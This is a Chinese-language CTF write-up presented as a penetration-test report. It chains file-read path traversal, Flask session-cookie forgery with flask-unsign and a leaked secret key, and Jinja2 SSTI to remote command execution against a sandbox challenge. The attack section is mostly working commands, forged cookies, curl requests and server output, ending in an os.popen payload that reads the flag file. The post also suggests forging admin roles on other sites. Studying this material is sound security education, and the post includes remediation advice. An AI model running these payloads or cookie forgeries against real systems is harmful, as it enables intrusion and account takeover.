SSTI
內容
1 摘要
本次滲透測試的標的─「SSTI 縫合/組合型題目」取材自從0到1:CTFer成長之路題目,目標是要拿到flag.txt(機敏資訊)。
這是一題非常標準且進階的SSTI,雖然一開始在 /article 測試 {4*2} 時發現它只是純檔案讀取(LFI),但這正是精妙的關卡設計。在 CTF 或實際的滲透測試中,這種題目被稱為組合拳(Vulnerability Chaining)。
這題的本質依然是 SSTI,只是作者幫它加上了幾道防線:
第一階段(入口點):LFI(任意檔案讀取):你必須先利用路徑穿越漏洞去讀取 server.py 與 key.py。
第二階段(繞過防禦):Flask
Session 偽造:真正的 SSTI 洞口開在
/n1page,但後端對 .、_、{、} 做了嚴格的字串替換過濾。如果直接從前端輸入 Payload,SSTI 是絕對無法觸發的。因此,你必須利用第一階段偷到的 SECRET_KEY 在本地偽造 Cookie,利用 Session 反序列化(或賦值)的特性,將 Payload 繞過過濾器直接「空降」到後端變數中。
第三階段(核心漏洞):SSTI(伺服器端模板注入):當後端執行 render_template_string(template) 渲染包含你偽造的
Session 內容時,SSTI 漏洞才真正被觸發,並最終轉化為 RCE(遠端指令執行)讓你拿到 Flag。
所以這不是單純的教科書式 SSTI,而是「以 LFI 為跳板、利用 Session 偽造繞過黑名單,最終觸發 SSTI」的經典高階變形題。
2 目的和範圍
本次滲透測試的目的,在於重點說明本公司的滲透測試服務,透過完整的報告格式來呈現,使本公司的潛在客戶可以對齊自己的需求,未來可以做為委託本公司進行滲透測試的基準。
|
筆記標題 |
說明SSTI服務端模版注入 |
|
知識描述 |
在滲透測試中,「白箱(看得到原始碼)」通常比「黑箱(純盲猜)」能更精準、更快速地找到核心漏洞與機密資料 |
|
原理思考 |
傳統的SSTI漏洞,只要從參數注入,就可以讀取敏感資訊。然而本次的靶機環境,預設過濾了敏感關鍵字。但server.py使用了純粹的字串格式化拼接,使我們拿到原始碼後能夠精準銷定flag.py,並且利用session偽造的方式觸發SSTI漏洞,再進行遠端指令執行。 在 server.py 中,處理 /n1page 的程式碼關鍵在於這一行: Python 1.
template = '''<h1>N1
Page</h1> 2.
Hello : %s, why you don't
look at our... 3.
...''' % session['n1code'] 這裡使用的是 Python 的老式字串格式化操作符 %s。
這時候,template 這個變數在記憶體裡的實際內容就變成了: HTML 1.
<h1>N1 Page</h1> 2.
<div
class="row"> 3.
<div class="col-md-6
col-md-offset-3 center"> 4.
Hello :
{{[].__class__.__base__.__subclasses__()[59]...}}, why you don't look at
our... 5.
</div> 6.
</div> |
|
聯想思考 |
以往我們打靶機時,都是打flag.txt,但是這個靶機是放在flag.py裡面,我們需要改變思路 |
|
應用思考 |
把payload包成session,這種Session 偽造攻擊 (Session Forgery)當攻擊者拿到了後端加密或簽名用的密鑰(例如這題的 SECRET_KEY),在自己本地端依照後端的演算法(如 Flask 的 itsdangerous 機制)重新打包、簽名並生成一個惡意的 Session 字串,這種行為就叫做 Session 偽造。 |
|
經驗聯想 |
這題戲劇性的轉折是拿到系統安裝的資訊,滲透測試比的是從蛛絲馬跡中找線索的能力。本來我們一直卡在程式的邏輯,又因為SSTI漏洞比較隱密,所以不得其門而入,一但知道是n1book的架構,就有網路資源或AI可以提供思路了。 1.
docker-compose.yml 2.
version: '3.2' 3.
services: 4.
web: 5.
image:
registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest 6.
ports: 7.
- 5000:5000 8.
啟動方式 9.
docker-compose up -d |
|
指導行動 |
針對這一次測試,我想再多收集原始程式碼,在本地端重建環境,尤其是看懂程式邏輯,不僅是靠AI來解讀,而是手動產生有意義的攻擊指令。 |
|
工具衍生 |
在這次測試中,我們使用了flask-unsign這個工具,搭配從secret.py中取得的密鑰,成功偽造session。這個技術未來可以嘗試用於需要登入或session的網站。 這種技術的前提是「攻擊者已經透過其他漏洞(如 LFI、日誌洩漏、配置錯誤)掌握了伺服器後端的硬編碼密鑰(Hardcoded
Secret Key)」。 我們可以用在權限提升與身份偽造 (Privilege Escalation) 當網站使用 Flask 預設的 Client-side Session(將加密或簽名的狀態存在瀏覽器 Cookie 中)時,一旦密鑰外洩,Session 內的任何欄位都可以被任意篡改。 測試用途:驗證系統在不安全的 Session 設計下,是否會被直接接管身份。 具體情境: 普通用戶變管理員:如果解密後的 Session 包含 {"is_admin": false,
"role": "user"},可以將其偽造為
{"is_admin": true, "role": "admin"},繞過登入頁面直接進入後台管理介面。 越權存取(IDOR):將 {"user_id": 1002} 修改為 {"user_id": 1001}(例如目標高階主管或管理員的
ID),在不觸發密碼驗證的情況下橫向移動至其他用戶的帳戶。 |
3 測試方法和流程
測試方法:
一、
掃描工具:Chrome瀏覽器平台、Kali攻擊機、Gemini
AI
二、
規範:WSTG-INPV-18 [1]
Testing for Code Injection
OWASP Web Security Testing
Guide (WSTG) 是全球資安圈公認最權威的 Web 安全測試藍圖。它不只講理論,而是為滲透測試員提供了一套「標準化動作」,詳細列出針對 Web 應用程式、API 及服務應執行的測試項目。本次滲透測試的反序列化,屬於伺服器端模版注入的一環。
三、
檢查項目:
I.
識別模板注入漏洞。
II. 識別模板引擎。
III.
建立遠端程式碼執行漏洞利用程式
時程表:
一、
掃描、滲透時間:2026/6/13 09:00-18:00
二、
報告撰寫時間:2026/6/20-2026/6/27 09:00-18:00
4 發現的漏洞和風險評估
一、 漏洞名稱和描述:SSTI漏洞,可以遠端執行任意程式
二、 漏洞種類:輸入驗證漏洞
三、 嚴重性評分(CVSS 評分系統):7.0 to 10(滿分10分)
四、 影響的系統或元件:影響Linux、Windows跨平台作業系統
五、 測試過程中的過程:
1.
洞察本質:一開始透過 {4*2} 沒被解析,果斷判定這不是 SSTI 而是 LFI(本地檔案包含)漏洞。
2.
靈活繞過:發現 LFI 對關鍵字 flag 進行了過濾,轉而讀取系統環境變數 /proc/self/environ 拿到致命線索。
3.
代碼審計:精準定位並抓出 server.py 的原始碼,分析出其包含 Flask Session 的加密金鑰,並發現真正的 SSTI 隱藏在 /n1page。
4.
Session 偽造:在本地使用 flask-unsign 工具,配合拿到的密鑰,將原本會被前端過濾的 ., _, {,
} 等字元直接封裝進加密的 Session 內,成功繞過檢查。
5.
最終一擊:利用 Python 2.7 類別鏈的 RCE Payload 成功執行系統指令讀取檔案。
六、 潛在的風險和影響:
CVE-2024-29686 (Winter CMS 模板注入):允許遠端攻擊者透過精心設計的 Payload 執行任意程式碼。
CVE-2022-22954 (VMware Workspace ONE):CVSS 評分高達 9.8,屬於嚴重等級,起因於伺服器端模板注入,並導致遠端程式碼執行 (RCE)。。
5 修復建議和策略
一、 密鑰安全管理:絕對不要將 SECRET_KEY 硬編碼在程式碼中。應使用環境變數或專用的金鑰管理系統(如 AWS Secrets Manager、HashiCorp Vault)在運行時動態載入。
二、 採用 Server-side Session:在敏感系統中,建議將 Session 的詳細資料儲存在後端的資料庫(如 Redis、MySQL)中,瀏覽器端的
Cookie 僅存放一串隨機的 Session ID(UUID)。如此一來,即使密鑰被猜到,攻擊者也無法在本地偽造出資料庫中不存在的 Session ID。
三、 變數零信任原則:無論資料是來自 request.form 還是 session[],只要是會被渲染(如 render_template_string)或進入資料庫(SQL)的變數,一律視為「不可信輸入」,必須使用安全的參數化方法處理。
6 結論
總結本次滲透測試的過程和結果,最重要的發現和建議的二點,第一點是在滲透測試領域裡,對目標系統的了解很重要,尤其是在SAAS的年代,雲端、GITHUB上面有著大量的資源,可以有助於我們了解目標系統,一但目標系統被揭露,AI就有機會找到漏洞。
第二點是,AI輔助的攻擊,常常會進入死胡同,比方堅持某種解法。做為滲透測試專家,我們必須要找資料,找新思路,尤其是像本次目標的SSTI,有各種不同的框架,框架會影響漏洞的形成。
SSTI大多是何種網站/系統?
這次滲透測試的本質是 SSTI,只是網站加上了幾道防線:
1.
第一階段(入口點):LFI(任意檔案讀取) 你必須先利用路徑穿越漏洞去讀取
server.py 與 key.py。
2.
第二階段(繞過防禦):Flask Session 偽造 真正的 SSTI 洞口開在 /n1page,但後端對 .、_、{、} 做了嚴格的字串替換過濾。如果直接從前端輸入 Payload,SSTI 是絕對無法觸發的。因此,你必須利用第一階段偷到的 SECRET_KEY 在本地偽造 Cookie,利用 Session 反序列化(或賦值)的特性,將 Payload 繞過過濾器直接「空降」到後端變數中。
3.
第三階段(核心漏洞):SSTI(伺服器端模板注入) 當後端執行
render_template_string(template) 渲染包含你偽造的 Session 內容時,SSTI 漏洞才真正被觸發,並最終轉化為 RCE(遠端指令執行)讓你拿到 Flag。
。
7 附件和參考資料
Step1.
關鍵的service.py原始碼如附
1. #!/usr/bin/python
2. # -*- coding: utf-8 -*-
3.
4.
import os
5.
from flask import (
6.
Flask,
7.
render_template,
8.
request,
9.
url_for,
10.
redirect,
11.
session,
12.
render_template_string
13.
)
14.
from flask_session import
Session
15.
16.
app = Flask(__name__)
17.
18.
# 載入同目錄下的 flag.py 與 key.py
19.
execfile('flag.py')
20.
execfile('key.py')
21.
22.
FLAG = flag
23.
app.secret_key = key
24.
25.
# 漏洞點 2:隱藏的 SSTI 路由(帶有嚴格的關鍵字過濾)
26.
@app.route("/n1page",
methods=["GET", "POST"])
27.
def n1page():
28.
if request.method != "POST":
29.
return
redirect(url_for("index"))
30.
31.
n1code =
request.form.get("n1code") or None
32.
33.
# 前端關鍵字過濾:將點、底線、大括號全部吃掉
34.
if n1code is not None:
35.
n1code = n1code.replace(".",
"").replace("_",
"").replace("{","").replace("}","")
36.
37.
# 如果 Session 裡沒有 n1code,才把過濾後的 n1code 放進去
38.
if "n1code" not in session or
session['n1code'] is None:
39.
session['n1code'] = n1code
40.
41.
template = None
42.
43.
# 真正的 SSTI 觸發點:直接將 Session 內容拼接進模板字串中渲染
44.
if session['n1code'] is not None:
45.
template = '''<h1>N1
Page</h1>
46.
<div
class="row">
47.
<div class="col-md-6
col-md-offset-3 center">
48.
Hello : %s, why you don't look at our
<a href='/article?name=article'>article</a>?
49.
</div>
50.
</div>
51.
''' % session['n1code']
52.
53.
session['n1code'] = None # 渲染後清空
54.
55.
return render_template_string(template)
56.
57.
# 首頁路由
58.
@app.route("/",
methods=["GET"])
59.
def index():
60.
return
render_template("main.html")
61.
62.
# 漏洞點 1:入口處的 LFI(本地檔案包含)
63.
@app.route('/article',
methods=['GET'])
64.
def article():
65.
error = 0
66.
if 'name' in request.args:
67.
page = request.args.get('name')
68.
else:
69.
page = 'article'
70.
71.
# 關鍵字過濾:只要匹配到
'flag' 就強制跳轉到錯誤提示檔
72.
if page.find('flag') >= 0:
73.
page = 'notallowed.txt'
74.
75.
try:
76.
# 檔案讀取點
77.
template =
open('/home/nu11111111l/articles/{}'.format(page)).read()
78.
except Exception as e:
79.
template = e
80.
81.
return render_template('article.html',
template=template)
82.
83.
if __name__ ==
"__main__":
84.
app.run(host='0.0.0.0', port=80,
debug=False)
Step2.安裝flask-unsign和取得密鑰[2]後,觸發SSTI漏洞取得flag
其實既然都拿到任意檔案讀取了,我們大機率可以直接利用 LFI 去讀 flag.py。雖然直接讀 flag 會被擋,但檔名是 flag.py,裡面包含 flag 依然會被擋。 不過,因為密鑰可以讓我們觸發 /n1page 的 SSTI,所以我們只要有了 Key,就能透過 SSTI 執行任意命令來讀取 Flag。
請先幫我執行第一步:去讀取
../../../../home/sssssserver/key.py,看看密鑰是什麼?
Article Content:
#!/usr/bin/python key =
'Drmhze6EPcv0fN_81Bj-nA'
┌──(kali㉿kali)-[~]
└─$ pip3 install flask-unsign
Defaulting to user installation because normal
site-packages is not writeable
Collecting flask-unsign
Downloading
flask_unsign-1.2.1-py3-none-any.whl.metadata (6.9 kB)
Requirement already satisfied: flask in
/usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)
Requirement already satisfied: requests in
/usr/lib/python3/dist-packages (from flask-unsign) (2.31.0)
Requirement already satisfied: itsdangerous in
/usr/lib/python3/dist-packages (from flask-unsign) (2.1.2)
Requirement already satisfied: markupsafe in
/usr/lib/python3/dist-packages (from flask-unsign) (2.1.5)
Requirement already satisfied: werkzeug in
/usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)
Requirement already satisfied: Jinja2>=3.1.2 in
/usr/lib/python3/dist-packages (from flask->flask-unsign) (3.1.3)
Requirement already satisfied: click>=8.1.3 in
/usr/lib/python3/dist-packages (from flask->flask-unsign) (8.1.7)
Requirement already satisfied: blinker>=1.6.2 in
/usr/lib/python3/dist-packages (from flask->flask-unsign) (1.8.2)
Downloading flask_unsign-1.2.1-py3-none-any.whl (14
kB)
Installing collected packages: flask-unsign
WARNING: The
script flask-unsign is installed in '/home/kali/.local/bin' which is not on
PATH.
Consider
adding this directory to PATH or, if you prefer to suppress this warning, use
--no-warn-script-location.
Successfully installed flask-unsign-1.2.1
┌──(kali㉿kali)-[~]
└─$ flask-unsign --decode --cookie
"eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"
flask-unsign: command not found
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --decode
--cookie "eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"
{'n1code': None}
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie "{'n1code': '{{config.items()}}'}" --secret
'Drmhze6EPcv0fN_81Bj-nA'
eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ
┌──(kali㉿kali)-[~]
└─$ curl -X POST
http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \
-d
"n1code=test" \
-H
"Cookie: session=eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ"
<h1>N1 Page</h1> <div
class="row> <div class="col-md-6 col-md-offset-3
center"> Hello : [('JSON_AS_ASCII', True),
('USE_X_SENDFILE', False),
('SESSION_COOKIE_SECURE', False),
('SESSION_COOKIE_PATH', None),
('SESSION_COOKIE_DOMAIN', False),
('SESSION_COOKIE_NAME', 'session'),
('MAX_COOKIE_SIZE', 4093),
('SESSION_COOKIE_SAMESITE', None),
('PROPAGATE_EXCEPTIONS', None), ('ENV',
'production'), ('DEBUG', False),
('SECRET_KEY', 'Drmhze6EPcv0fN_81Bj-nA'),
('EXPLAIN_TEMPLATE_LOADING', False),
('MAX_CONTENT_LENGTH', None),
('APPLICATION_ROOT', '/'), ('SERVER_NAME',
None), ('PREFERRED_URL_SCHEME', 'http'),
('JSONIFY_PRETTYPRINT_REGULAR', False),
('TESTING', False),
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('TEMPLATES_AUTO_RELOAD',
None), ('TRAP_BAD_REQUEST_ERRORS', None),
('JSON_SORT_KEYS', True), ('JSONIFY_MIMETYPE',
'application/json'),
('SESSION_COOKIE_HTTPONLY', True),
('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
('PRESERVE_CONTEXT_ON_EXCEPTION', None),
('SESSION_REFRESH_EACH_REQUEST', True),
('TRAP_HTTP_EXCEPTIONS', False)], why you don't look at our
<a href='/article?name=article'>article</a>? </div>
</div>
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie "{'n1code': '{{lipsum.__globals__}}'}" --secret
'Drmhze6EPcv0fN_81Bj-nA'
eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k
┌──(kali㉿kali)-[~]
└─$ curl -X POST
http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \
-d
"n1code=test" \
-H
"Cookie: session=eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k"
<h1>N1 Page</h1> <div
class="row> <div class="col-md-6 col-md-offset-3
center"> Hello : {'_word_split_re':
<_sre.SRE_Pattern object at 0x7fa5ea8dc240>,
'_entity_re': <_sre.SRE_Pattern object at
0x7fa5ea8dec30>, 'randrange': <bound method
Random.randrange of <random.Random object at
0x55743b761640>>, 'Namespace': <class
'jinja2.utils.Namespace'>,
'evalcontextfunction': <function evalcontextfunction at
0x7fa5ea7d7ad0>, 'escape': <function escape at
0x7fa5eadc3450>, 'consume': <function consume at
0x7fa5ea7db1d0>, 'htmlsafe_json_dumps': <function
htmlsafe_json_dumps at 0x7fa5ea7f50d0>, 'abc':
<module 'collections' from
'/usr/local/lib/python2.7/collections.pyc'>,
'_digits': '0123456789',
'urlize': <function urlize at 0x7fa5ea7ee250>,
'_simple_email_re': <_sre.SRE_Pattern object at
0x7fa5eadb7cb0>, 'url_quote': <function quote at
0x7fa5ea8f0d50>, '_punctuation_re':
<_sre.SRE_Pattern object at 0x7fa5ea7f1200>,
'__package__': 'jinja2', 're':
<module 're' from
'/usr/local/lib/python2.7/re.pyc'>,
'json': <module 'json' from
'/usr/local/lib/python2.7/json/__init__.pyc'>,
'LRUCache': <class 'jinja2.utils.LRUCache'>,
'Markup': <class
'markupsafe.Markup'>, 'deque':
<type 'collections.deque'>,
'open_if_exists': <function open_if_exists at
0x7fa5ea7e3a50>, 'environmentfunction': <function
environmentfunction at 0x7fa5ea7d7dd0>, 'warnings':
<module 'warnings' from
'/usr/local/lib/python2.7/warnings.pyc'>,
'__builtins__': {'bytearray': <type
'bytearray'>, 'IndexError': <type
'exceptions.IndexError'>, 'all':
<built-in function all>, 'help': Type help() for
interactive help, or help(object) for help about object.,
'vars': <built-in function vars>,
'SyntaxError': <type
'exceptions.SyntaxError'>, 'unicode':
<type 'unicode'>,
'UnicodeDecodeError': <type
'exceptions.UnicodeDecodeError'>,
'memoryview': <type
'memoryview'>, 'isinstance':
<built-in function isinstance>, 'copyright':
Copyright (c) 2001-2019 Python Software Foundation.
All Rights Reserved.
Copyright (c) 2000 BeOpen.com.
All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National
Research Initiatives.
All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch
Centrum, Amsterdam.
All Rights Reserved., 'NameError':
<type 'exceptions.NameError'>,
'BytesWarning': <type
'exceptions.BytesWarning'>, 'dict':
<type 'dict'>, 'input':
<built-in function input>, 'oct':
<built-in function oct>, 'bin': <built-in
function bin>, 'SystemExit': <type
'exceptions.SystemExit'>,
'StandardError': <type
'exceptions.StandardError'>, 'format':
<built-in function format>, 'repr':
<built-in function repr>, 'sorted':
<built-in function sorted>, 'False': False,
'RuntimeWarning': <type 'exceptions.RuntimeWarning'>,
'list': <type 'list'>,
'iter': <built-in function iter>,
'reload': <built-in function reload>, 'Warning':
<type 'exceptions.Warning'>,
'__package__': None, 'round': <built-in
function round>, 'dir': <built-in function
dir>, 'cmp': <built-in function cmp>,
'set': <type 'set'>,
'bytes': <type 'str'>,
'reduce': <built-in function reduce>,
'intern': <built-in function intern>,
'issubclass': <built-in function issubclass>,
'Ellipsis': Ellipsis, 'EOFError': <type
'exceptions.EOFError'>, 'locals':
<built-in function locals>, 'BufferError':
<type 'exceptions.BufferError'>,
'slice': <type 'slice'>,
'FloatingPointError': <type
'exceptions.FloatingPointError'>, 'sum':
<built-in function sum>, 'getattr':
<built-in function getattr>, 'abs':
<built-in function abs>, 'exit': Use exit() or
Ctrl-D (i.e. EOF) to exit, 'print': <built-in function
print>, 'True': True, 'FutureWarning':
<type 'exceptions.FutureWarning'>,
'ImportWarning': <type
'exceptions.ImportWarning'>, 'None':
None, 'hash': <built-in function hash>,
'ReferenceError': <type
'exceptions.ReferenceError'>, 'len':
<built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope
Corporation and a cast of thousands
for
supporting Python development. See
www.python.org for more information., 'frozenset': <type
'frozenset'>, '__name__':
'__builtin__', 'ord': <built-in function
ord>, 'super': <type
'super'>, 'TypeError': <type
'exceptions.TypeError'>, 'license': Type
license() to see the full license text, 'KeyboardInterrupt':
<type 'exceptions.KeyboardInterrupt'>,
'UserWarning': <type
'exceptions.UserWarning'>, 'filter':
<built-in function filter>, 'range':
<built-in function range>, 'staticmethod':
<type 'staticmethod'>,
'SystemError': <type
'exceptions.SystemError'>,
'BaseException': <type
'exceptions.BaseException'>, 'pow':
<built-in function pow>, 'RuntimeError':
<type 'exceptions.RuntimeError'>,
'float': <type 'float'>,
'MemoryError': <type
'exceptions.MemoryError'>,
'StopIteration': <type
'exceptions.StopIteration'>, 'globals':
<built-in function globals>, 'divmod':
<built-in function divmod>, 'enumerate':
<type 'enumerate'>, 'apply':
<built-in function apply>, 'LookupError':
<type 'exceptions.LookupError'>,
'open': <built-in function open>,
'quit': Use quit() or Ctrl-D (i.e. EOF) to exit,
'basestring': <type
'basestring'>, 'UnicodeError':
<type 'exceptions.UnicodeError'>,
'zip': <built-in function zip>,
'hex': <built-in function hex>,
'long': <type 'long'>,
'next': <built-in function next>,
'ImportError': <type 'exceptions.ImportError'>,
'chr': <built-in function chr>,
'xrange': <type 'xrange'>,
'type': <type 'type'>,
'__doc__': "Built-in functions, exceptions, and other
objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents
`...' in slices.", 'Exception': <type
'exceptions.Exception'>, 'tuple':
<type 'tuple'>,
'UnicodeTranslateError': <type
'exceptions.UnicodeTranslateError'>,
'reversed': <type 'reversed'>,
'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>,
'IOError': <type
'exceptions.IOError'>, 'hasattr':
<built-in function hasattr>, 'delattr':
<built-in function delattr>, 'setattr':
<built-in function setattr>, 'raw_input':
<built-in function raw_input>, 'SyntaxWarning':
<type 'exceptions.SyntaxWarning'>, 'compile':
<built-in function compile>, 'ArithmeticError':
<type 'exceptions.ArithmeticError'>,
'str': <type 'str'>,
'property': <type 'property'>,
'GeneratorExit': <type
'exceptions.GeneratorExit'>, 'int':
<type 'int'>, '__import__':
<built-in function __import__>, 'KeyError':
<type 'exceptions.KeyError'>,
'coerce': <built-in function coerce>,
'PendingDeprecationWarning': <type
'exceptions.PendingDeprecationWarning'>,
'file': <type 'file'>,
'EnvironmentError': <type
'exceptions.EnvironmentError'>,
'unichr': <built-in function unichr>,
'id': <built-in function id>,
'OSError': <type
'exceptions.OSError'>,
'DeprecationWarning': <type
'exceptions.DeprecationWarning'>, 'min':
<built-in function min>, 'UnicodeWarning':
<type 'exceptions.UnicodeWarning'>,
'execfile': <built-in function execfile>,
'any': <built-in function any>,
'complex': <type 'complex'>,
'bool': <type 'bool'>,
'ValueError': <type
'exceptions.ValueError'>,
'NotImplemented': NotImplemented, 'map':
<built-in function map>, 'buffer': <type
'buffer'>, 'max': <built-in
function max>, 'object': <type
'object'>, 'TabError': <type
'exceptions.TabError'>, 'callable':
<built-in function callable>,
'ZeroDivisionError': <type
'exceptions.ZeroDivisionError'>, 'eval':
<built-in function eval>, '__debug__': True,
'IndentationError': <type
'exceptions.IndentationError'>,
'AssertionError': <type
'exceptions.AssertionError'>, 'classmethod':
<type 'classmethod'>,
'UnboundLocalError': <type
'exceptions.UnboundLocalError'>,
'NotImplementedError': <type
'exceptions.NotImplementedError'>,
'AttributeError': <type
'exceptions.AttributeError'>,
'OverflowError': <type
'exceptions.OverflowError'>},
'text_type': <type 'unicode'>,
'__file__':
'/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc',
'have_async_gen': False, '_letters':
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'choice': <bound method Random.choice of
<random.Random object at 0x55743b761640>>,
'unicode_urlencode': <function unicode_urlencode at
0x7fa5ea7ee350>, '__name__': 'jinja2.utils',
'Cycler': <class
'jinja2.utils.Cycler'>, 'Joiner':
<class 'jinja2.utils.Joiner'>,
'soft_unicode': <function soft_unicode at 0x7fa5ea7f5750>,
'concat': <built-in method join of unicode object at
0x7fa5eaf13300>, 'internalcode': <function
internalcode at 0x7fa5ea7db0d0>, 'internal_code':
set([<code object load at 0x7fa5ea804430, file
"/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 101>, <code object select_template at 0x7fa5ea7fe2b0, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 885>, <code object load at 0x7fa5ea101bb0, file
"/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 379>, <code object _get_default_module at 0x7fa5ea7fed30,
file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 1168>, <code object _fail_with_undefined_error at
0x7fa5ea7722b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 742>, <code object get_template at 0x7fa5ea7fe230, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 862>, <code object call at 0x7fa5ea7679b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 260>, <code object get_or_select_template at 0x7fa5ea7fe3b0,
file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 921>, <code object __call__ at 0x7fa5ea76cb30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 552>, <code object _load_template at 0x7fa5ea7fe130, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 846>, <code object __call__ at 0x7fa5ea76c0b0, file
"/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 370>, <code object parse at 0x7fa5ea7f76b0, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 522>, <code object compile at 0x7fa5ea7f7b30, file
"/usr/local/lib/python2.7/site-packages/jinja2/environment.py",
line 603>, <code object __getattr__ at 0x7fa5ea772330, file
"/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 749>, <code object load at 0x7fa5ea502030, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 422>, <code object __call__ at 0x7fa5ea76ceb0, file
"/usr/local/lib/python2.7/site-packages/jinja2/runtime.py",
line 597>, <code object load at 0x7fa5ea502530, file
"/usr/local/lib/python2.7/site-packages/jinja2/loaders.py",
line 487>]), 'select_autoescape': <function
select_autoescape at 0x7fa5eae6b450>, 'Lock': <built-in
function allocate_lock>, 'string_types': (<type
'str'>, <type 'unicode'>),
'contextfunction': <function contextfunction at
0x7fa5ea7d73d0>, '__doc__': None,
'import_string': <function import_string at
0x7fa5ea7e37d0>, '_striptags_re':
<_sre.SRE_Pattern object at 0x7fa5eadbf6f0>,
'_slash_escape': True, 'pformat':
<function pformat at 0x7fa5ea7ee1d0>,
'generate_lorem_ipsum': <function generate_lorem_ipsum
at 0x7fa5ea7ee2d0>, 'object_type_repr': <function
object_type_repr at 0x7fa5ea7e3d50>, 'clear_caches':
<function clear_caches at 0x7fa5ea7e33d0>, 'os':
<module 'os' from '/usr/local/lib/python2.7/os.pyc'>,
'is_undefined': <function is_undefined at
0x7fa5ea7db5d0>, 'missing': missing}, why you don't look
at our <a href='/article?name=article'>article</a>? </div> </div>
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie "{'n1code': '{{url_for.__globals__}}'}" --secret
'Drmhze6EPcv0fN_81Bj-nA'
eyJuMWNvZGUiOiJ7e3VybF9mb3IuX19nbG9iYWxzX199fSJ9.ai0OBg.86olI8jKLGxgu8WVg-cJr2J3fvU
┌──(kali㉿kali)-[~]
└─$ /home/kali/.local/bin/flask-unsign --sign
--cookie '{"n1code":
"{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[\"linecache\"].os.popen(\"cat
/home/sssssserver/flag.py\").read()}}"}' --secret 'Drmhze6EPcv0fN_81Bj-nA'
.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU
┌──(kali㉿kali)-[~]
└─$ curl -X POST
http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \
-d
"n1code=test" \
-H
"Cookie:
session=.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU"
<h1>N1 Page</h1> <div
class="row> <div class="col-md-6 col-md-offset-3
center"> Hello : #!/usr/bin/python
flag = 'n1book{afr_3_solved}'
, why you don't look at our <a
href='/article?name=article'>article</a>? </div>
</div>
沒有留言:
發佈留言
歡迎留下寶貴意見